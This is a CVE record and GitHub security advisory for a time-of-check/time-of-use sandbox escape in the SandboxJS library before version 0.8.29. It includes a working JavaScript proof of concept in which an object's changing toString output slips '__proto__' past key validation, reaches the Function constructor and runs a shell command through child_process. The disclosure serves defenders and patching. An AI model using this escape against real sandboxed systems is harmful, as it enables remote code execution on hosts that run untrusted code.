SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, there is a sandbox escape vulnerability due to a mismatch between the key on which the validation is performed and the key used for accessing properties. Even though the key used in property accesses is annotated as string, this is never enforced. So, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using hasOwnProperty(key) and a different one for when the key is used for the actual property access. This vulnerability is fixed in 0.8.29.
PUBLISHED5.2CWE-367
SandboxJS has a sandbox escape via TOCTOU bug on keys in property accesses
Problem type
Affected products
nyariv
SandboxJS
< 0.8.29 - AFFECTED
References
https://github.com/nyariv/SandboxJS/security/advisories/GHSA-7x3h-rm86-3342
https://github.com/nyariv/SandboxJS/security/advisories/GHSA-7x3h-rm86-3342
https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3
https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3
https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304
https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304
GitHub Security Advisories
GHSA-7x3h-rm86-3342
@nyariv/sandboxjs vulnerable to sandbox escape via TOCTOU bug on keys in property accesses
https://github.com/advisories/GHSA-7x3h-rm86-3342Summary
A sandbox escape vulnerabilities due to a mismatch between the key on which the validation is performed and the key used for accessing properties.
Details
Even though the key used in property accesses (b in the code below) is annotated as string, this is never enforced:
https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304
So, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using hasOwnProperty(key) and a different one for when the key is used for the actual property access.
PoC
const Sandbox = require('@nyariv/sandboxjs').default;
const code = `
let a = new Map;
a.x = 23;
let count = 0;
let nastyProp = {toString: () => {if (count<1){count++;return "x"} else return "__proto__"}}
let mapProt = a[nastyProp];
mapProt.has = isFinite;
console.log(
isFinite.constructor(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);`;
const scope = {};
const sandbox = new Sandbox();
const exec = sandbox.compile(code);
exec(scope).run();
Impact
Remote code execution, if attacker can execute code inside the sandbox.
github.com
https://github.com/nyariv/SandboxJS/security/advisories/GHSA-7x3h-rm86-3342
github.com
https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3
github.com
https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304
github.com
https://github.com/advisories/GHSA-7x3h-rm86-3342
JSON source
https://cveawg.mitre.org/api/cve/CVE-2026-25641Click to expand
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"dateUpdated": "2026-02-06T20:20:03.764Z",
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